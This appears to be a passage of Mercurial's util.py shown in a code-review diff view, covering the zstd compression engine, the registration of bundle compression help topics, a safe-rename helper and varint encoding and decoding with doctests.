3670 3672 def __init__(self, zstd, level=3):
3671 3673 # TODO consider omitting frame magic to save 4 bytes.
3672 3674 # This writes content sizes into the frame header. That is
3673 3675 # extra storage. But it allows a correct size memory allocation
3674 3676 # to hold the result.
3675 3677 self._cctx = zstd.ZstdCompressor(level=level)
3676 3678 self._dctx = zstd.ZstdDecompressor()
3677 3679 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3678 3680 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3679 3681
3680 3682 def compress(self, data):
3681 3683 insize = len(data)
3682 3684 # Caller handles empty input case.
3683 3685 assert insize > 0
3684 3686
3685 3687 if insize < 50:
3686 3688 return None
3687 3689
3688 3690 elif insize <= 1000000:
3689 3691 compressed = self._cctx.compress(data)
3690 3692 if len(compressed) < insize:
3691 3693 return compressed
3692 3694 return None
3693 3695 else:
3694 3696 z = self._cctx.compressobj()
3695 3697 chunks = []
3696 3698 pos = 0
3697 3699 while pos < insize:
3698 3700 pos2 = pos + self._compinsize
3699 3701 chunk = z.compress(data[pos:pos2])
3700 3702 if chunk:
3701 3703 chunks.append(chunk)
3702 3704 pos = pos2
3703 3705 chunks.append(z.flush())
3704 3706
3705 3707 if sum(map(len, chunks)) < insize:
3706 3708 return ''.join(chunks)
3707 3709 return None
3708 3710
3709 3711 def decompress(self, data):
3710 3712 insize = len(data)
3711 3713
3712 3714 try:
3713 3715 # This was measured to be faster than other streaming
3714 3716 # decompressors.
3715 3717 dobj = self._dctx.decompressobj()
3716 3718 chunks = []
3717 3719 pos = 0
3718 3720 while pos < insize:
3719 3721 pos2 = pos + self._decompinsize
3720 3722 chunk = dobj.decompress(data[pos:pos2])
3721 3723 if chunk:
3722 3724 chunks.append(chunk)
3723 3725 pos = pos2
3724 3726 # Frame should be exhausted, so no finish() API.
3725 3727
3726 3728 return ''.join(chunks)
3727 3729 except Exception as e:
3728 3730 raise error.RevlogError(_('revlog decompress error: %s') %
3729 3731 stringutil.forcebytestr(e))
3730 3732
3731 3733 def revlogcompressor(self, opts=None):
3732 3734 opts = opts or {}
3733 3735 return self.zstdrevlogcompressor(self._module,
3734 3736 level=opts.get('level', 3))
3735 3737
3736 3738 compengines.register(_zstdengine())
3737 3739
3738 3740 def bundlecompressiontopics():
3739 3741 """Obtains a list of available bundle compressions for use in help."""
3740 3742 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3741 3743 items = {}
3742 3744
3743 3745 # We need to format the docstring. So use a dummy object/type to hold it
3744 3746 # rather than mutating the original.
3745 3747 class docobject(object):
3746 3748 pass
3747 3749
3748 3750 for name in compengines:
3749 3751 engine = compengines[name]
3750 3752
3751 3753 if not engine.available():
3752 3754 continue
3753 3755
3754 3756 bt = engine.bundletype()
3755 3757 if not bt or not bt[0]:
3756 3758 continue
3757 3759
3758 3760 doc = pycompat.sysstr('``%s``\n %s') % (
3759 3761 bt[0], engine.bundletype.__doc__)
3760 3762
3761 3763 value = docobject()
3762 3764 value.__doc__ = doc
3763 3765 value._origdoc = engine.bundletype.__doc__
3764 3766 value._origfunc = engine.bundletype
3765 3767
3766 3768 items[bt[0]] = value
3767 3769
3768 3770 return items
3769 3771
3770 3772 i18nfunctions = bundlecompressiontopics().values()
3771 3773
3772 3774 # convenient shortcut
3773 3775 dst = debugstacktrace
3774 3776
3775 3777 def safename(f, tag, ctx, others=None):
3776 3778 """
3777 3779 Generate a name that it is safe to rename f to in the given context.
3778 3780
3779 3781 f: filename to rename
3780 3782 tag: a string tag that will be included in the new name
3781 3783 ctx: a context, in which the new name must not exist
3782 3784 others: a set of other filenames that the new name must not be in
3783 3785
3784 3786 Returns a file name of the form oldname~tag[~number] which does not exist
3785 3787 in the provided context and is not in the set of other names.
3786 3788 """
3787 3789 if others is None:
3788 3790 others = set()
3789 3791
3790 3792 fn = '%s~%s' % (f, tag)
3791 3793 if fn not in ctx and fn not in others:
3792 3794 return fn
3793 3795 for n in itertools.count(1):
3794 3796 fn = '%s~%s~%s' % (f, tag, n)
3795 3797 if fn not in ctx and fn not in others:
3796 3798 return fn
3797 3799
3798 3800 def readexactly(stream, n):
3799 3801 '''read n bytes from stream.read and abort if less was available'''
3800 3802 s = stream.read(n)
3801 3803 if len(s) < n:
3802 3804 raise error.Abort(_("stream ended unexpectedly"
3803 3805 " (got %d bytes, expected %d)")
3804 3806 % (len(s), n))
3805 3807 return s
3806 3808
3807 3809 def uvarintencode(value):
3808 3810 """Encode an unsigned integer value to a varint.
3809 3811
3810 3812 A varint is a variable length integer of 1 or more bytes. Each byte
3811 3813 except the last has the most significant bit set. The lower 7 bits of
3812 3814 each byte store the 2's complement representation, least significant group
3813 3815 first.
3814 3816
3815 3817 >>> uvarintencode(0)
3816 3818 '\\x00'
3817 3819 >>> uvarintencode(1)
3818 3820 '\\x01'
3819 3821 >>> uvarintencode(127)
3820 3822 '\\x7f'
3821 3823 >>> uvarintencode(1337)
3822 3824 '\\xb9\\n'
3823 3825 >>> uvarintencode(65536)
3824 3826 '\\x80\\x80\\x04'
3825 3827 >>> uvarintencode(-1)
3826 3828 Traceback (most recent call last):
3827 3829 ...
3828 3830 ProgrammingError: negative value for uvarint: -1
3829 3831 """
3830 3832 if value < 0:
3831 3833 raise error.ProgrammingError('negative value for uvarint: %d'
3832 3834 % value)
3833 3835 bits = value & 0x7f
3834 3836 value >>= 7
3835 3837 bytes = []
3836 3838 while value:
3837 3839 bytes.append(pycompat.bytechr(0x80 | bits))
3838 3840 bits = value & 0x7f
3839 3841 value >>= 7
3840 3842 bytes.append(pycompat.bytechr(bits))
3841 3843
3842 3844 return ''.join(bytes)
3843 3845
3844 3846 def uvarintdecodestream(fh):
3845 3847 """Decode an unsigned variable length integer from a stream.
3846 3848
3847 3849 The passed argument is anything that has a ``.read(N)`` method.
3848 3850
3849 3851 >>> try:
3850 3852 ... from StringIO import StringIO as BytesIO
3851 3853 ... except ImportError:
3852 3854 ... from io import BytesIO
3853 3855 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3854 3856 0
3855 3857 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3856 3858 1
3857 3859 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3858 3860 127
3859 3861 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3860 3862 1337
3861 3863 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3862 3864 65536
3863 3865 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3864 3866 Traceback (most recent call last):
3865 3867 ...
3866 3868 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3867 3869 """
3868 3870 result = 0
3869 3871 shift = 0
3870 3872 while True:
3871 3873 byte = ord(readexactly(fh, 1))
3872 3874 result |= ((byte & 0x7f) << shift)
3873 3875 if not (byte & 0x80):
3874 3876 return result
3875 3877 shift += 7
General Comments 0
You need to be logged in to leave comments. Login now